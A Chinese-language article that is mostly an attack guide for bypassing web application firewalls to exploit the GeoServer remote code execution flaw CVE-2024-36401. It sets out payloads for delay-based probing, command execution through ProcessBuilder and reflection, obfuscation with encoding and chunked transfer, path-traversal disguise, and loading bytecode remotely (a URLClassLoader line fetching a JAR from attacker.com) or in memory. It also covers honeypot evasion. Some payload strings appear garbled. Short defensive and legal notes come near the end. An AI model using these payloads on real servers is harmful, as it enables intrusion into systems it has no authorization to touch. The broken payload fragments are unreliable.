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CVE-2024-36401是GeoServer平台的高危未授权远程代码执行（RCE）漏洞，其核心攻击路径为通过OGC（Open Geospatial Consortium）标准请求注入恶意XPath表达式，突破系统权限边界。在实战攻防场景中，Web应用防火墙（WAF）是阻碍漏洞利用的核心屏障，攻击者需针对WAF的检测规则、特征库及防护逻辑，结合漏洞本身的利用原理，设计针对性的绕过策略。

本文将从延时注入、命令执行、字节码加载三大核心攻击手法切入，深度拆解实战化WAF绕过技巧，补充攻防对抗中的关键注意事项，并前瞻性分析该漏洞的利用演进趋势，为安全防护与渗透测试提供全面参考。

一、核心背景：CVE-2024-36401漏洞与WAF对抗核心逻辑

GeoServer作为开源地理信息服务引擎，广泛应用于政务、能源、交通等关键领域，其基于OGC标准提供WFS（Web Feature Service）、WMS（Web Map Service）等接口服务。CVE-2024-36401漏洞的触发点在于WFS接口对XPath表达式的解析存在安全缺陷，攻击者可通过构造恶意的XML格式WFS请求，在valueReference等字段注入包含Java恶意代码的XPath表达式，当GeoServer解析该表达式时，会触发代码执行。

实战中，WAF对该漏洞利用的拦截逻辑主要集中在三个维度：

• 一是对敏感关键词的特征检测，如“Runtime”“exec”“ProcessBuilder”“sleep”等恶意函数/类名；
• 二是对请求结构的合法性校验，如XML标签完整性、OGC协议头规范性；
• 三是对请求行为的异常识别，如非标准请求方法、异常编码内容、分块传输特征等

因此，WAF绕过的核心思路是：在保持payload利用有效性的前提下，通过特征变形、编码混淆、行为伪装等方式，打破WAF的检测规则，实现恶意请求的顺利穿透。

二、延时注入：隐蔽探测与WAF绕过技巧深度拆解

延时注入是漏洞验证阶段的核心手段，通过控制请求响应时间判断漏洞是否存在，无需直接返回恶意执行结果，可有效降低被WAF拦截和日志告警的概率。其核心逻辑是将“漏洞存在性判断”转化为“请求耗时差异判断”，实战中需重点规避WAF对延时相关敏感函数和命令的检测。

2.1 敏感函数替换与逻辑等价变形

WAF通常会对sleep“Thread.sleep”等直接延时函数进行精准拦截，此时需采用逻辑等价的替代方案，通过Java原生类或系统命令实现延时效果，同时避免敏感关键词暴露。

• 系统命令替代方案：将Java休眠函数替换为系统层延时命令，如Windows系统的“ping -n 5 127.0.0.1”（延时5秒）、Linux系统的“ping -c 5 127.0.0.1”，通过调用系统命令实现延时。对应的payload变形示例：原敏感payload“java.lang.Thread.sleep(5000)”改写为“(new java.lang.ProcessBuilder(“ping”,“-n”,“5”,“127.0.0.1”)).start()”，利用ProcessBuilder类调用系统ping命令，规避sleep关键词检测。

• 反射机制间接调用：通过Java反射机制动态获取延时函数，避免直接书写类名和方法名。示例：“Class.forName(“java.lang.Thread”).getMethod(“sleep”,long.class).invoke(null,5000)”，将“java.lang.Thread”通过Class.forName动态加载，绕过敏感类名的静态匹配。

2.2 多层编码混淆与载荷隐藏

编码是绕过敏感字符检测的常用手段，实战中需结合WAF的解码能力，选择合适的编码方式，必要时采用多层编码提升混淆效果。

• 基础编码应用：对延时命令进行Base64编码，将编码后的字符串嵌入valueReference字段，利用GeoServer对Base64的解码支持实现命令执行。示例：将“ping -c 5 127.0.0.1”Base64编码为“cGluZyAtYyA1IDEyNy4wLjAuMQ==”，构造payload：“wfs:valueReferencenew String(javax.xml.bind.DatatypeConverter.parseBase64Binary(“cGluZyAtYyA1IDEyNy4wLjAuMQ==”))</wfs:valueReference>”，绕过敏感命令字符检测。

• 多层编码叠加：当单层编码被WAF解码检测时，可采用“Base64+URL编码”“Base64+Hex编码”的多层组合。例如，先对命令进行Base64编码，再对编码结果进行URL编码，嵌入请求后，WAF若仅解码URL层，无法识别底层的恶意命令，而GeoServer会自动完成多层解码并执行。

2.3 请求结构拆分与特征分散

部分WAF采用分段检测机制，仅对单个字段或连续字符进行检测，此时可通过拆分恶意载荷、插入无关内容的方式，分散恶意特征，实现绕过。

• XML标签拆分：将延时命令拆分到多个XML标签中，在恶意字段之间插入GeoServer支持的合法XML节点（如wfs:Query、ogc:Filter等），分散敏感字符的连续性。示例：在valueReference字段中插入无关的XML注释“”，将payload拆分为“(new java.lang.ProcessBuilder(“ping”,“-n”,“5”,“127.0.0.1”)).start()”，绕开WAF对连续敏感字符的检测。

• 分块传输编码：采用HTTP分块传输（Transfer-Encoding: chunked）将请求体拆分多个块传输，每个块仅包含部分payload内容，WAF若未对分块内容进行拼接检测，会因单个块无完整恶意特征而放行，GeoServer接收后会拼接完整请求体并执行。

三、命令执行：核心利用与WAF绕过全维度策略

命令执行是CVE-2024-36401漏洞的核心利用目标，旨在获取目标系统权限，实战中需重点规避WAF对“exec”“Runtime”“ProcessBuilder”等敏感函数、命令关键字（如“whoami”“ls”“rm”）及特殊字符（如空格、&、|）的拦截，同时确保payload能够正常触发命令执行。

3.1 敏感函数与类的替代与伪装

WAF对“Runtime.getRuntime().exec”等经典命令执行函数的检测规则极为严格，需采用功能等价的替代类或函数，降低检测概率。

• ProcessBuilder替代Runtime：ProcessBuilder是Java中用于创建进程的类，功能与Runtime.exec等价，且部分WAF对其检测较弱。构造payload：“wfs:valueReference(new java.lang.ProcessBuilder(“whoami”)).start()</wfs:valueReference>”，通过调用ProcessBuilder的start()方法执行命令，规避Runtime关键词拦截。

• 反射调用隐藏敏感类：通过反射机制动态获取命令执行相关类和方法，避免直接书写敏感类名。示例：“Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(null).exec(“whoami”)”，将“java.lang.Runtime”通过Class.forName动态加载，绕开静态特征检测。

• 第三方依赖类复用：利用GeoServer自身依赖的第三方库中的类实现命令执行，这类类通常不在WAF的敏感特征库中。例如，使用“org.apache.commons.io.IOUtils”结合ProcessBuilder读取命令执行结果，构造payload：“(new java.lang.ProcessBuilder(“whoami”)).start().getInputStream()”，借助GeoServer已加载的合法类完成攻击。

3.2 命令与参数的混淆变形

针对WAF对命令关键字和特殊字符的过滤，可通过编码、字符替换、拼接等方式对命令进行混淆，同时保证命令在目标系统中可正常执行。

• 特殊字符编码替代：将命令中的空格、换行等特殊字符替换为URL编码或ASCII编码，如用“%20”替代空格、“%0A”替代换行、“%26”替代&。示例：“touch%20/tmp/success”“ls%0A-l”，绕开WAF对空格和换行的过滤规则。

• 命令拼接与变量替换：将命令拆分为多个字符串片段，通过“+”拼接，或借助Java的字符串拼接特性构造命令。示例：““who”+“ami”"““l”+“s””，避免完整的命令关键字出现在payload中；也可利用系统环境变量替换命令，如“PATH:0:1bin{PATH:0:1}binPATH:0:1bin{PATH:0:1}whoami”（Linux系统），通过环境变量拼接命令路径，绕开关键字检测。

• 空字符与注释插入：在命令关键字中插入空字符（\0）或系统注释符（#），干扰WAF的特征匹配，同时不影响命令执行。示例：“wh\0oami”“ls#-l”，WAF因匹配不到完整的“whoami”“ls -l”特征而放行，目标系统会忽略空字符和注释符并执行命令。

3.3 请求行为与路径的伪装规避

利用WAF对不同请求方式、路径的检测差异，通过伪装请求行为、篡改请求路径等方式，绕开WAF的重点监控范围。

• 非标准请求方式切换：多数WAF会重点监控POST请求，对OPTIONS、PUT、DELETE等非标准请求方式的检测较为宽松。可将原本的POST请求改为OPTIONS请求，保持XML payload结构不变，利用WAF的检测盲区实现穿透。示例：将请求方法改为OPTIONS，请求头添加“Access-Control-Request-Method: POST”，伪装成跨域预检请求，绕开POST请求的严格检测。

• 白名单路径回溯与嵌套：GeoServer存在多个合法路径，部分路径可能被WAF纳入白名单。可通过路径回溯（…/）将恶意请求路径嵌套在白名单路径中，绕开WAF对核心漏洞路径（/geoserver/wfs）的监控。示例：“/geoserver/manager/…/wfs”“/geoserver/web/…/wfs”，通过路径回溯最终定位到wfs接口，同时利用“/geoserver/manager”“/geoserver/web”等白名单路径规避检测。

• 协议头规范化伪装：添加OGC标准协议头，伪装成合法的WFS请求，降低WAF的拦截概率。例如，添加“Accept: application/vnd.ogc.wfs+xml”“Content-Type: text/xml; charset=utf-8”“User-Agent: GeoTools/28.0”等协议头，使请求符合GeoServer的正常交互规范，规避WAF对异常请求的拦截。

四、字节码加载：高级隐蔽绕过与深度防御对抗

字节码加载是一种高级攻击手法，通过动态加载恶意Java字节码（.class文件）或JAR包实现代码执行，其核心优势在于隐蔽性极高，可绕过WAF对命令执行关键词的所有检测，适合应对深度防御场景（如配备AI检测、行为分析的WAF）。实战中需解决字节码的传输、加载、执行三个核心问题，同时规避WAF对恶意字节码传输的检测。

4.1 类加载器的选择与伪装

Java类加载器是实现字节码加载的核心，需选择GeoServer支持且不在WAF敏感特征库中的类加载器，同时通过伪装降低检测概率。

• URLClassLoader远程加载：利用“java.net.URLClassLoader”加载远程恶意JAR包，payload中仅包含类加载器相关代码，无明显命令执行特征。示例：“java.net.URLClassLoader.newInstance(new java.net.URL[]{new java.net.URL(“http://attacker.com/malicious.jar”)}).loadClass(“MaliciousClass”).newInstance()”，其中“malicious.jar”为攻击者控制的远程恶意JAR包，包含可执行命令的MaliciousClass类。该方法的关键是确保目标服务器可访问远程JAR包地址，同时规避WAF对远程URL和JAR包的拦截。

• 本地类加载器复用：借助GeoServer自身的类加载器（如“org.geoserver.platform.GeoServerClassLoader”）加载本地恶意字节码，避免使用URLClassLoader带来的远程连接特征。示例：通过反射获取GeoServer的类加载器，调用loadClass方法加载本地已写入的恶意类字节码，构造payload：“Thread.currentThread().getContextClassLoader().loadClass(“MaliciousClass”).newInstance()”，利用目标系统的本地类加载机制完成攻击，隐蔽性更强。

4.2 字节码的加密传输与解密执行

为避免恶意字节码在传输过程中被WAF检测到，需对字节码进行加密处理，在payload中嵌入解密逻辑，确保字节码加载前完成解密。

• 对称加密保护字节码：采用AES、XOR等对称加密算法对恶意字节码进行加密，将加密后的字节码和解密密钥一同嵌入payload，在执行过程中通过Java加密相关类完成解密。示例：先对MaliciousClass.class的字节码进行AES加密，构造payload时嵌入加密字节码、密钥及解密逻辑：“new javax.crypto.Cipher.getInstance(“AES”).init(javax.crypto.Cipher.DECRYPT_MODE, new javax.crypto.spec.SecretKeySpec(“1234567890abcdef”.getBytes(), “AES”)).doFinal(encryptedBytes)”，解密后通过类加载器加载字节码并执行。

• 编码+加密双重防护：先对字节码进行Base64编码，再进行XOR加密，进一步提升混淆效果。例如，将加密后的字节码进行Base64编码后嵌入payload，执行时先解码再解密，绕开WAF对加密字节码的特征检测。

4.3 字节码执行的无文件化优化

无文件攻击可避免在目标系统中写入恶意文件（如JAR包、.class文件），进一步提升隐蔽性，规避WAF和终端安全工具的文件检测。

• 内存中直接加载字节码：通过“java.lang.ClassLoader.defineClass”方法直接在内存中加载恶意字节码，无需写入本地文件。示例：先将恶意字节码解密后，调用defineClass方法定义类，再通过newInstance()执行类中的恶意方法，构造payload：“ClassLoader.getSystemClassLoader().defineClass(“MaliciousClass”, decryptedBytes, 0, decryptedBytes.length).newInstance()”，全程在内存中完成，无文件残留，检测难度极高。

• 合法类动态重写：利用Java的动态代理机制，重写GeoServer已加载的合法类的方法，嵌入恶意代码，避免加载新的恶意类。例如，通过“java.lang.reflect.Proxy”创建合法接口的代理对象，重写接口方法并嵌入命令执行逻辑，构造payload：“Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{org.geotools.api.feature.Feature.class}, new InvocationHandler(){public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {Runtime.getRuntime().exec(“whoami”); return null;}})”，借助合法类的代理实现恶意代码执行，隐蔽性拉满。

五、通用绕过与攻防对抗补充技巧

除上述针对性技巧外，实战中还可结合以下通用方法提升WAF绕过成功率，同时应对WAF的动态防御策略。

• WAF规则探测与指纹识别：在正式攻击前，通过发送包含不同敏感关键词、编码方式、请求方法的测试请求，分析WAF的拦截规则（如拦截哪些关键词、支持哪些编码解码、对哪些请求方式宽松），针对性调整payload。同时，通过请求头中的Server字段、拦截页面特征等识别WAF类型（如阿里云WAF、腾讯云WAF、ModSecurity等），利用不同WAF的规则差异设计绕过方案。

• 多请求拆分攻击：利用WAF的会话级检测惰性，先发送多个合法的WFS请求建立正常会话，再在后续请求中嵌入恶意payload。部分WAF会对已建立正常会话的请求降低检测强度，从而实现恶意请求的穿透。例如，先发送3-5个正常的WFS查询请求，再发送包含命令执行payload的请求，利用会话信任机制绕过检测。

• JAR包依赖与漏洞版本适配：不同版本的GeoServer依赖的JAR包存在差异，部分WAF会针对特定JAR包（如gt-complex-x.y.jar）的特征进行检测。若目标GeoServer版本未修复CVE-2024-36401漏洞，可通过删除或替换该JAR包的临时方法绕开WAF检测（需注意该操作可能影响GeoServer部分功能，但不影响漏洞利用）。同时，需根据目标GeoServer的Java版本适配payload（如Java 8与Java 11的类加载机制存在差异，需调整类加载器相关代码）。

• 错误页面信息利用：若WAF未拦截错误页面，可通过构造半合法payload触发GeoServer的错误响应，从错误信息中获取目标系统的Java版本、GeoServer版本、依赖库等信息，为后续payload优化提供依据。例如，通过构造语法错误的XPath表达式，获取目标的异常堆栈信息，分析系统环境。

六、前瞻性分析：漏洞利用演进与防御应对建议

随着WAF技术的不断升级（如AI驱动的行为分析、动态特征学习、沙箱检测等），CVE-2024-36401漏洞的利用手法将向更隐蔽、更复杂的方向演进。未来可能出现的演进趋势包括：一是结合AI生成对抗性payload，通过微小特征修改绕过AI检测；二是利用GeoServer的插件机制加载恶意插件，替代直接的命令执行和字节码加载；三是结合其他漏洞（如文件上传、权限提升）形成攻击链，提升攻击成功率。

针对上述趋势，防御方需从以下三个维度构建纵深防御体系：

• 漏洞修复与版本升级：优先升级GeoServer至已修复该漏洞的版本（如2.23.5、2.24.3及以上），同时定期更新依赖库，修补潜在的连锁漏洞。

• WAF规则优化与动态防御：针对CVE-2024-36401漏洞的利用特征，更新WAF的敏感特征库，增加对ProcessBuilder、URLClassLoader等替代类的检测；开启AI行为分析和沙箱检测功能，识别异常的OGC请求和内存中恶意字节码加载行为；限制GeoServer的对外访问权限，禁止其访问外部未知URL，阻断远程字节码加载路径。

• 终端与日志审计强化：在目标服务器部署终端检测工具（EDR），监控异常的进程创建、内存类加载行为；开启GeoServer的详细日志，定期审计WFS接口的请求日志，及时发现可疑请求和攻击痕迹。

七、实战注意事项总结

1. payload有效性验证：在绕过WAF前，需先在无WAF环境中验证payload的有效性，避免因payload本身存在语法错误导致绕过失败。

2. 循序渐进探测：从简单的延时注入开始，逐步升级到命令执行、字节码加载，每一步都需记录WAF的拦截情况，动态调整绕过策略。

3. 规避蜜罐与陷阱：部分目标可能部署蜜罐系统，需通过正常业务请求验证目标真实性，避免攻击蜜罐导致自身信息泄露。

4. 合规性与合法性：所有渗透测试行为都需获得目标授权，严格遵守《网络安全法》等相关法律法规，避免承担法律责任。

综上，CVE-2024-36401漏洞的WAF绕过核心在于“特征隐藏”与“行为伪装”，需结合漏洞利用原理和WAF检测规则，灵活运用编码混淆、函数替换、路径伪装、字节码加载等技巧。同时，防御方需构建纵深防御体系，兼顾漏洞修复、规则优化和行为检测，才能有效抵御此类攻击。未来，随着攻防技术的不断迭代，漏洞利用与防御的博弈将更加激烈，需持续关注漏洞演进趋势，及时更新防护策略。